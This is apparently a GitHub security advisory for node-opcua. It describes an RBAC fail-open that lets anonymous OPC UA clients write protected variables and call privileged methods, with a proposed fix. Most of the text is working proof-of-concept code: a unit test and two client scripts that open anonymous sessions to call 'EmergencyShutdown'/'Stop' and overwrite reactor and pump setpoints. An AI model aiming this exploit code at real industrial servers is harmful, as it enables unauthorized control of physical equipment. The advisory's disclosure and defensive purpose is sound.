Vulnerability GHSA-xggf-m53x-jc3f
Summary
node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions
Details
Summary
An unauthenticated (Anonymous) client can Write protected Variables and Call privileged Methods on any Node that lacks explicit per-node permissions.
This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit RolePermissions attribute inherit the namespace DefaultRolePermissions. OPC 10000-3 §4.8.3 mandates a default-deny evaluation (Bad_UserAccessDenied when the operation bits are not set); node-opcua instead grants all permissions.
The root cause is a combination of an authorization fail-open and a disconnect between the configuration API and the runtime enforcement path.
Steps to Reproduce
PoC-A - Address-space level (unit test, no network)
Save as packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts, then run:
cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";
const _keep = should;
describe("PoC RBAC fail-open", () => {
let addressSpace: AddressSpace;
let namespace: Namespace;
before(async () => {
addressSpace = await getMiniAddressSpace();
namespace = addressSpace.getOwnNamespace();
});
after(() => addressSpace.dispose());
function anonymousContext(): SessionContext {
const ctx = new SessionContext();
ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
return ctx;
}
it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
const secured = namespace.addVariable({
browseName: "SecuredWithNodePermissions",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
secured.setRolePermissions([
{ roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
]);
const ctx = anonymousContext();
ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
});
it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
const relyingOnDefault = namespace.addVariable({
browseName: "RelyingOnNamespaceDefault",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
const ctx = anonymousContext();
const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
relyingOnDefault.isUserWritable(ctx).should.eql(true);
});
it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
const method = namespace.addMethod(obj, {
browseName: "PrivilegedMethod",
inputArguments: [],
outputArguments: []
});
method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
const ctx = anonymousContext();
ctx.checkPermission(method, PermissionType.Call).should.eql(true);
method.getUserExecutableFlag(ctx).should.eql(true);
});
});
Output:
PoC RBAC fail-open
✓ A. CONTROL: per-node rolePermissions deny Anonymous
✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
✓ C. VULN: bound Method without per-node permission -> Anonymous can Call
3 passing
PoC-B - End-to-end over TCP (programmatic namespace)
Save as packages/node-opcua/poc_b_e2e_rbac.js, then run node poc_b_e2e_rbac.js (add --safe for the control):
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");
const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true
});
await server.initialize();
const ns = server.engine.addressSpace.getOwnNamespace();
// Operator hardening: namespace-level RBAC, Anonymous excluded
ns.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
{ roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
]);
if (SAFE_MODE) {
setNamespaceMetaData(ns);
}
const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
parentNodeId = device.nodeId;
const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
method.bindMethod((_in, _ctx, cb) => {
console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodNodeId = method.nodeId;
const variable = ns.addVariable({
browseName: "ReactorSetpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 350.0 }
});
variableNodeId = variable.nodeId;
await server.start();
console.log(`[server] Listening on ${ENDPOINT}`);
return server;
}
async function anonymousAttack() {
const client = OPCUAClient.create({
endpointMustExist: false,
securityMode: MessageSecurityMode.None,
securityPolicy: SecurityPolicy.None
});
await client.connect(ENDPOINT);
const session = await client.createSession({ type: UserTokenType.Anonymous });
console.log("[client] Anonymous session activated");
let callStatus;
try {
const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
callStatus = r.statusCode.toString();
} catch (e) { callStatus = e.message; }
let writeStatus;
try {
const r = await session.write({
nodeId: variableNodeId,
attributeId: AttributeIds.Value,
value: { value: { dataType: DataType.Double, value: 999.0 } }
});
writeStatus = r.toString();
} catch (e) { writeStatus = e.message; }
await session.close();
await client.disconnect();
return { callStatus, writeStatus };
}
(async () => {
const server = await startServer();
try {
const { callStatus, writeStatus } = await anonymousAttack();
console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
console.log(`CALL EmergencyShutdown : ${callStatus}`);
console.log(`WRITE ReactorSetpoint : ${writeStatus}`);
const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
} finally {
await server.shutdown();
}
})().catch(e => { console.error(e); process.exit(1); });
Vulnerable output (node poc_b_e2e_rbac.js):
[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint : Good (0x00000000)
Control output (node poc_b_e2e_rbac.js --safe):
Mode: SAFE
CALL EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint : BadUserAccessDenied (0x801f0000)
PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)
Save as packages/node-opcua/poc_c_nodeset_rbac.js, then run node poc_c_nodeset_rbac.js:
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");
const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true,
nodeset_filename: [nodesets.standard, nodesets.di]
});
await server.initialize();
const di = server.engine.addressSpace.getNamespace(DI_URI);
di.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
]);
try {
setNamespaceMetaData(di);
console.log("[server] hardening: metadata bound");
} catch (e) {
console.log("[server] hardening FAILED:", e.message);
}
const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
deviceId = device.nodeId;
const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
m.bindMethod((_i, _c, cb) => {
console.log("[server] Stop() EXECUTED by anonymous");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodId = m.nodeId;
const v = di.addVariable({
browseName: "Setpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 42 }
});
variableId = v.nodeId;
await server.start();
return server;
}
async function attack() {
const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
await client.connect(`opc.tcp://localhost:${PORT}`);
const s = await client.createSession({ type: UserTokenType.Anonymous });
const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
await s.close();
await client.disconnect();
console.log("CALL Stop() :", call);
console.log("WRITE Setpoint :", write);
}
(async () => {
const srv = await startServer();
try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });
Output:
[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL Stop() : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)
Proposed Fix
- Fail-closed -
getPermissionForRole(null)should returnPermissionFlag.None, notallPermissions(per §4.8.3 default-deny). - Coherent path -
getApplicableRolePermissions()should usenode.getRolePermissions(inherited=true), which already reads the namespace field correctly. - API safety -
setDefaultRolePermissions()should take effect on enforcement directly, without requiringsetNamespaceMetaData()(which throws on nodeset-loaded namespaces). - Hardening -
server_engine.ts:947-957should not unconditionally resetDefaultRolePermissions.
Related Vulnerabilities
Other vulnerabilities affecting the same packages